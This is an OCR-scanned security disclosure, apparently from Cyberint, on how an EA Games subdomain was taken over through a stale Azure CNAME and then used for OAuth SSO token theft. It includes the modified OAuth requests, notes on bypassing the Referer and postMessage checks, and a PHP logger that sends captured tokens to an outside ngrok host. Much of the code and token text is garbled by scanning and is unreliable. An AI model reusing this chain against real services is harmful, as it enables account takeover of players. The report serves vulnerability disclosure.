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EA Games operates several domain names such as
ea.com and origin.com in order to provide and different
services to their players globally, from creating a new
Apex Legend account, connecting to the Origin social
network and purchasing new EA games from the

company’s online store.

Typically, cloud-based services offered by organizations
such as EA Games are configured as unique subdomains

under the organization’s main domain along with DNS

address or canonical name (A or CNAME) records that
refer to the desired service, such as a web application
server.

In this instance, eaplayinvite.ea.com was identified as an

EA Games’ subdomain and is configured with a DNS
CNAME that points to another subdomain,
ea-invite-reg.azurewebsites.net.

This subdomain is configured under azurewebsites.net, a
domain belonging to Microsoft’s Azure cloud computing
service that enables organizations to deploy cloud-based
services (including web applications, REST AP, Virtual
Machines, databases and more) in order to provide them
to online customers around the world.

Each Microsoft Azure user account can request to
register specific service names, advertised as subdomains
in the format <ServiceName>.azurewebsites.net, that can
subsequently be aliased by an organization’s domain or
subdomain by successfully validating the DNS CNAME
configuration via the Microsoft Azure subdomain
validation process.

During this research, the service name
ea-invite-reg.azurewebsites.net was identified as no

longer in-use within Microsoft Azure although the
subdomain eaplayinvite.ea.com was still configured to
alias the subdomain via the DNS CNAME record.

Given this misconfiguration, the service name
‘ea-invite-reg’ was successfully registered as a new web
application service using a Microsoft Azure account under
our control, restoring the ea-invite-reg.azurewebsites.net

subdomain and subsequently allowing the
eaplayinvite.ea.com subdomain to be hijacked along with
the interception of any legitimate EA Games’ user

requests.
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Validation of the eaplayinvite.ea.com DNS records, post-hijacking, confirms that the new Microsoft Azure cloud web
service is responding:

oAuth Invalid Redirection to Account Take

Having seized control of the eaplayinvite.ea.com Further analysis of this oAuth SSO implementation
subdomain guided research toward the new goal of identified several services such as answers.ea.com,
examining how the TRUST mechanism between EA help.ea.com and accounts.ea.com that appear to be used
Games’ ea.com or origin.com domains and their within their authentication process and provided more
subdomains could be abused to manipulate the oAuth information on the TRUST mechanisms implemented.

protocol implementation for full account . ‘ o .
Typically, during a successful authentication process with

take-over/exploitation. .
EA Games’ global services, for example, answers.ea.com

Identification of how EA games configured the oAuth an oAauth HTTP request is sent to accounts.ea.com
protocol provided detail of their single sign on resulting in a new user SSO token received and the
mechanism. By exchanging the user’s credentials application redirecting through signin.ea.com to the final
(username & password) for a unique SSO Token, the user EA Games’ service, answers.ea.com, to identify the user.

can authenticate to any EA Games’ platform, for
example, accounts.origin.com, without the need to

reauthenticate.

GET

/Jecnnect/auth?elient id=help-eainoncesnonceiresponse typestokendZ0id tokenidisplay=swebZ/log

inklocale=en USsredirect urishecpst3ASZFeZHsignin. ea. comp FpiéZFgusiZFeallback¥3Frecurnlris3

I—'llttl}&\:SjA\:EZF\ZSZiﬂlerL . &a. -_'uhb:E\:Fr_ Sy 25FAnswer-HU-Englishs Z52Fee-pA 252 FAHO-Englishs 2

Emethodi3Dpostmessageipronpt=none HTTP/L._1

Host: |a.r:cokmt.s. ea. r.'r.'unl

Figure 1: oAuth SSO request for authenticating with answers.ea.com

Set-Cookie:

sid=UC82eVInSCZILMN)JFUTIVFZzeZTedrbuhs dDJ ISENNATAdzS LV VWV OSZFVEcEpHYVRLSGeenxrUnl gMieZ0al . GUE
SWL-329zTKRDE-hQl9EBPqORZIgELS3IZZENTHEECZw,; Version=l; Path=/conmnect; Secure; Htcpinly
Location:

hteps: //signin. ea. com/p/gus /callbackfrecurnUri=hccps$253A%Z252F8Z52Fansvers . ea. com¥Z52Fc 582
S2FAnswer-HO-English%Z52Fct-psZ52FAHQ-Englishimethod=postmessagediaccess_token=QV{x0jEuMDoz
LIAeNjJAEZ1IzNUMNTZhEajRhSek4cElzTGHE R SnUnUyenl0e FNISDgeMjgzNeleblerZGgeid token=eyJ0eXAid
AJEVIQALCIhbGei0iJIUZIINLTS . eyJhdWQi0iJoZWxwLlWWhiiviaNz1joi YW b 3VudHMuZWEUYZ9c I iwiaWF01)
oXNTUwNTIL1ODQzLCI1eHAI OJELINTAIM EONDMs ImSvbhbeN1 I joibmSuY Ui LCIwvaWRfaWQi0iIxMDA4ODEYyHzI4M=cy
IiwidXNlclSpZCleljEwMDg4MTIzMjgeNzliLCIwaWREdHIwZSIE Ik SVOOx FVVMLLC I nenStX3J LbWVe TuVybWUiln
PydiUs InFldChfdGle ZSIEMCwiT KR faCFzaCleIm]l SO0UgSU3IHVEhibjNuSWo 3TEpKaFEL £Q . L-ne 1YOMALY3UxcED
HUUe7rVEaTQYapgleRjzI4ipalitoken type=Bearerdexpires_in=3£00

Figure 2: oAuth authentication SSO token is redirected through signin.ea.com to EA Games’ answers.ea.com server
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Given this research, it is possible to determine the EA Games’ service address, which the oAuth token generated, by
modifying the returnURI parameter within the HTTP request to the hijacked EA Games’ subdomain eaplayinvite.ea.com.

GET
Jconnect/auth?client id: lp-ea&nonce=nonceiresponse_ type=token%20id token&display=web2/login&locale=en USiredirec
t_uri=https%3A%2F%2Fsign ..ea.com%zEp%?Egus%zEcallback%&EEetu::U:;%aDhttps%EESA%E52E%252Eeap;ay1nv;te.ea.comiESEFt

5%252FAnswer-HQ-English3%252Fct-p%252FAHQ-English%26method®3Dpostmessagesprompt=none HTITP/1.1

Host: accounts.ea.com

Figure 3: oAuth request to generate new user token for eaplayinvite.ea.com

Set-Cookie:
3id=U2V5Mz1CRUIFNDhRb2k4QklOMUSKdFkzNn1Uek S KVVIDSVEMV 1 owlWExPY kM5 SWhERV1TaHpkS3A0bzFWSQ . kEsJTfufeQMUZCIIhRgs¥YwISLLP
LZDjuB5MEVxEs46k; Version=1l; Path=/connect; Secure; Htcplnly
Location:
:ttp&:ff&ignin.Ea.cnmfpfg:&fca1Lback#:etu:nU:i=https%253A%252F%252Ekaplayinvite.ea.com*EEEFEE%EEEFAnawe:—EQ—Englis
n%¥252Fct-p%¥252FAHQ-Englishamethod=postmessagesaccess_token=0QVQx0jEuMDozLjASN]A6aXdsUUFYQOsxc3InWWINAmMU45mZcYXds0m
AyQHZyS1FMMFEENTYzNjkeb2tyNGeceid token=eyJ0eXAiQiJEVIQIiLCInbGCi0iJIUzI1INIJY . eyThdWQi0iJoZWxwlWWhIiwiaXN=Ijol YWk
AVudHMuZWEuY 28t IiwiaWFO0IjoxNTUwOTM4ANTc3LCJ1eHAIOJEINTASNDIRNzcsImSvbmN1IjoibmouY2U0i L TwaWRfaWQi0i IxMDAWNDkANTUZM=
Y5TiwidXN1clS%pZCI6ljEwMDACOTgINTYzNjkiLCJwaWRfdHIwZSI6Ik5VQOxFVVMiLCThdXRoX3RpbWUiOjEINTASMzc3MTMSsImFO0X2hhec2gi0id
KLVBKOTdnRGR2AWxZMWFtTHI1DATN3In0 . en—-xcfBG518clDVkQ-4d F3DYtagmoYr7asjzwXKjTsitoken type=Bearerfexpires in=353%

Figure 4: The server generates valid token without validation of the fake EA service

Notably, generating the above-identified request to redirect the generated SSO token to the rogue’ application was
insufficient given that several limitations took place on EA Games’ side:

1 Missing Valid Referer

In order to compromise an EA account, the above-identified However, the backend accounts.ea.com server validates if

request needed to be sent to accounts.ea.com, including the request originated from a trusted EA Games’ Origin

the modified parameters, on behalf of the victim user. domain by checking the HTTP Referer header.
HTTP/1.1 400 Bad Reguest

X-NEXUS-SEQUENCE: 6BB6DTFBl267BFD7446B6E864481DA2A.prdaccountc—-07:77.139.40.59:1550935652350
X-NEXUS-HOSTNAME: prdaccountc-07

P3P: CP="ALL D5P COR IVD IVA P5D P5A TEL TAI CUS ADM CUR CON 5AM QUER IND"

Content-Type: application/json:;charset=UTF-8

Content-Length: &5

Date: Sat, 23 Feb 201% 16:34:51 GMT

nnCeoection: close

Server: Powered by Electronic Arts

{"error":"invalid request”,"error description":"missing :efe:e:"l
To overcome this limitation, the request sent on behalf embedded within the index page of the hijacked
of our victim needed to originate from an EA Games’ subdomain resulting in request being initiated from there
trusted domain or subdomain. As such, a new iframe was and bypassing the server validation.

Cyber
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Access Basic free for 7 days

Explore an instant collection of 177 PC games and play as much as you
want. Origin Access member also get to try new EA games before they're
released and save 10% on Origin purchases. Just click below to get started!

Join Free for 7 days

CANCEL ANYTIME
ONLY FOR PC

Figure 5: eaplayinvite.ea.com malicious index page
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Figure 6: Attacker's generates iframe on eaplayinvite.ea.com to bypass http Referer validation

2 Origin Problem

Having sent a request to signin.ea.com to complete the malicious authentication process, a jQuery function was generated to
attempt to redirect the victim token to the rogue application hosted on the hijacked subdomain at eaplayinvite.ea.com.

S (document) .ready (function () {

var messageObj;
if ('https://secure.download.dm.origin.com/production/avatar/prod/1/599/40x40.JPEG") {
messageObj = '{"originId": "' + encodeURIComponent ("") +

"', "'avatarll: ma +
encodeURIComponent ("https://secure.download.dm.origin.com/production/avatar/prod/1/599/40x40

.JPEG") +
o VageegeToken'Vs WU 4+ encocURICompea@ait (VW) 4+
'", "idToken": "' + encodeURIComponent ("")
} else {
messageOb]j = '{"originId": "' + encodeURIComponent ("") +

", "avatar": "' + encodeURIComponent ("https://eaassets-—
a.akamaihd.net/resource signin ea com/p/statics/gus/img/default avatar.JPEG")

o VageessToken'Vs WU 4+ encoceURICompea@ait (VW) 4

', "idToken": "' + encodeURIComponent("") + '"}';

L

}
$.postMessage (messageObj, decodeURIComponent ("https$%$3A%2F%2Feaplayinvite.ea.com"),

parent) ;

DF




In this instance, the jQuery ‘S.postMessage’ function failed to execute as the destination server, eaplayinvite.ea.com, is

not part of EA Games’ Origin (signin.ea.com) resulting in the function generating an error and not forwarding the token to
the rogue application.

© »rFailed to execute 'postMessage' on 'DOMWindow': The target origin jquery.ba-postmessag..n.v_1550554154.js:9
provided ('https://eaplayinvite.ea.com') does not match the recipient window's origin
('https://signin.ea.com').

Since the jQuery function prevented the victim token being the ‘redirectback’ parameter. This parameter guided the
acquired, further analysis of signin.ea.com identified an server to use the returnuri’ value and redirect the page to it
alternative method of token redirection contained within directly, without attaching it to the victim’s access token.
GET
;p;gus;utuznununupsl C53AN 5PV S5 Fmyeatake. ea. comV252Fr 58 252 FAnswer~-HQ-Engl

ishaZ58ZFer-pdZ52FAHO~Englishiaccess_token=QVix0jEuMDozLiAENIACeFolhbuNSTCShaWwOMhESiNjaldLa
3JBY3VIYThp OULVNXUEMjgzlz1EblerZGeéid token=eyJ0eXAi0iJKVIQLLCIhbGel0LdIUSTIINLTS. eyIhdWQi04
JoZWxwlWUhIiwia¥Nz1joiYWNIbIVudHMuZWEUWY2Sc Iiwi aWFOIjoxNTUNNT I IN2eyLCIleHAI OJEINTAIMAk=H=1Is1
nSvbuMlIjoibaSuY IULLCIwaWRfaW(i0LIxMDA4ODEYMzl4Mecy liwidMlclSpZCIE 1 BEwMDg4NT Iz jgzNeliLClw
AWRLdHIwZSIEIRSVQOxFVTMLILCInen9t X3 L bWVeE YalVybWUiinRkydWUs InFldGhfdGleZS IEMCwiYXRtaGFzaClé InV
4V3JCAZI3VneZX1SninZ 5eG8PcXeli 0. nYNOPZdZgVe ZTHE InAP I HNQZibLY2 0x1WQ1gDJ tpXkitoken_type=Bear
erdexpires_ in=3599 HITP/1.1

Host: signin.ea.com

Figure 7: Sending redirectback parameter to bypass jQuery origin issue

encodeURIComponent ("QVQx0jEuMDozLjA6NjA6eUFHbE1SV111amBnblp JWXVzOUxwTzFWdzZWZTVIMWI JAWO6NTYzNjk6b2tyN2E") +

', "idToken™: ™' +
encodeURIComponent ("eyJ0eXRAi0i JEVIQILCIThbGoiQiJIUzIINI IS . ey ThdWQi0i JoZWxwLWVhIiwiaXNzl joi YWNib3VudAMuZWEUY29tTiwi
aWF0IjoxNTUwOTQzO0TY4LCT1eHAIOFEINTASNDc1N jgs ImSvbmN1TI joibm9uY2UiLCJwaWREfaWQiOi IxMDAWNDk4ANTU2MzY 5TiwidXN1el 9pZCI6T
JEWMDAOOTgINTYzNjkiLCIJwaWREAHIWZSI6IkSVQOXxFVVMiILCThdXRoX3RpbWULi0JELINTASMzc3MTMs ImF0X2hhe2gi0iJEQOLpWVhINI SoeVA2dl
IzZTQtdEpBINO. 7VWleJCrHgjlk6yn9xBdm8SEV1l LWmwclU2gumH THU") + ""}':

}
5 . postMessage (messagelOb]j,
decodeURIComponent ("https%3A%2F%2Feaplayinvite.ea.com%2Ft5%2FAnswer-HQ-English%2Fot-p%2FAHQ-English") ,
window.opener) ;
if ($.browser.msie || (!'navigator.userAgent.match(/Trident\/7\./))) {
window.location =
decodeURIComponent ("https%3A%2F3i2Feaplayinvite.ea.com%2Ft5%2FAnswer-HQ-English%2Fct-p%2FAHQ-English") ;
} else {
self.close () ;
}
var iDiv = document.createElement('div'):
iDiv.innerHTML="Close this tab teo return to your coriginal destinatiomn.";
document.getElementsByTagName ( "body ') [0] . appendChild(iDiv) ;
if({!window.location.hash) {
window.location = window.location + '#loaded':
window.location.reload() :

b:
} else {
Window.loCAtion —
HecodeURIComponent ("https%3A%2F%2Feaplayinvite.ea.com%2Ft5%2FAnswer-HQ)-English%2Fct-p%2FAHQ-English") ;
}

Figure 8: The server responded with a simple redirection to the target server

The final subdomain hijack and exploit configuration allows the attacker to direct authenticated EA Games' users, such as
through a social-engineering link, to the rogue application which, using the EA Games’ oAuth SSO authentication iframe,
ultimately results in the victim’s SSO token being logged.




To allow the threat actor to perform actions such as an account takeover or gaining access to EA Games’ authenticated

services with the privileges of the victim, the HTTP Referer value sent to the rogue application was logged as it contains

the player’s SSO token.

GET / HTTB/1.1

Host: eaplayinvite.ea.com

Connection: close

Upgrade—-Insecure-Requests: 1

User—-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/72.0.3626.109 Safari/537.36

Accept:
text/html,application/xhtml+xml,application/xml;qg=0.9, image/webp, image/apng, */*;q
=0.8

Referer:
https://signin.ea.com/p/gus/redirectback?returnUri=https%253A%252F%252Feaplayinvi
te.ea.com%252Ft5%252FAnswer-HQ-English%252Fct-p%252FAHQ-
English&access_token=QVOxOjEuMDoOzLJA6NjA6eUFHDELISV111amRnblpJWXVZOUXWTZFWAZZWZTV]
MWJjdWO6NTYZNk6b2tyN2E&id token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdWQioiJ
CZWXWLWVhIiwiaXNzIjoiYWNJb3VudHMuZWEUY29tIiwiaWFO0IjoxNTUWOTQzOTY4LCJ1eHAIOJELINTAS
NDc1NjgsIm5vbmN1Ijoibm9uY2UiLCIJwaWRfaWQiOi IxMDAWNDk4ANTU2MzY5IiwidXN1cl9pZCI6I jEWM
DAOOTgINTYzNjkiLCIJwaWRfdHIWZSI6Ik5VQOXFVVMiLCIThdXRoX3RpbWUiOjEINTABMzc3MTMs ImF0X2
hhec2giOiJEQO1pWVhIN190eVA2d1IzZTQtdEPBINO . 7VWleJCrHqjlk6yn9xBdm8SfVl LWmwclU2gumH
_THU&token type=Beareré&expires_in=3599

Accept-Encoding: gzip, deflate

Accept-Language: en-US,en;g=0.9,he;g=0.8,sv;g=0.7

This HTTP Referer field, along with the SSO
token, was sent to the rogue application
since the player was redirected through a
multiple oAuth SSO URLs using the
malicious iframe.

ExPLORE iogger.php
4 WORKING FILES 1 <?php

2 //API Url

3 Sdie();

4 $url = 'https.//67b95c49. ngrok. in/poc’;

logger.php

4 WWWROOT G //Initiate cURL
7 $ch = curl_init(Surl);

+ wrei-known -
4 pki-valitation

10 $ipAddress = ['REMOTE_ADDR'];

12 if (array_key exists('HTTP_X_FORWARDED FOR', N o
9 1 Sipaddress = array_pop(explode(’, ', ['HTTP_X_FORWARDED_FOR']));
LA ENU 47

The final redirection on signin.ea.com
redirected the player to our server using the

16 //The JSON data
17 $jsonData = array(

referer' => [ 'HTTP_REFERER'],
‘window.location’ JavaScript function, which ‘ By mednn AP
contained the player's SSO token, allowing it 22 Mimoibatobomate & fa reerk AR
to be acquired and subsequently abused. sl fbatbat ot nallii
//Attach our encoded JSDN strimg to the POST fields

23 curl_setopt($ch, CURLOPT POSTFIELDS, SjsonDataEncoded);

31 //Set the content type to application/json
32 curl sctopt(Sch, CURLOPT HTTPHEADER, array('tontent-Type: application/ison'));

//Execute the request
Sresult = curl_exec(Sch);

37 7
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Figure 9: Logging the incoming Referer value and search for victim Access-Token

Figure 10:

Cyberint.

The victim oAuth SSO
token logged into
attacker’s portal




Cyberint.

WATCH THE VIDEO

CONTACT US

www.cyberint.com | sales@cyberint.com
The Cyber Feed: blog.cyberint.com

UNITED KINGDOM
Tel: +44-203-514-1515
Fox Court 14 Grays Inn Rd, Holborn, WC1X 8HN, Suite 2068, London

USA
Tel: +972-3-7286777
214 W 29th Street, Suite 06A-104, New York, NY, 10001

ISRAEL
Tel: +972-3-7286777
17 Ha-Mefalsim St, 4951447, Kiriat Arie, Petah Tikva

SINGAPORE
Tel: +65-316-357-6010
Anson Road, #33-04A, International Plaza

LATAM
Tel: +507-395-1553
Edificio Corporativo Cable Onda/TeleCarrier, Panama City




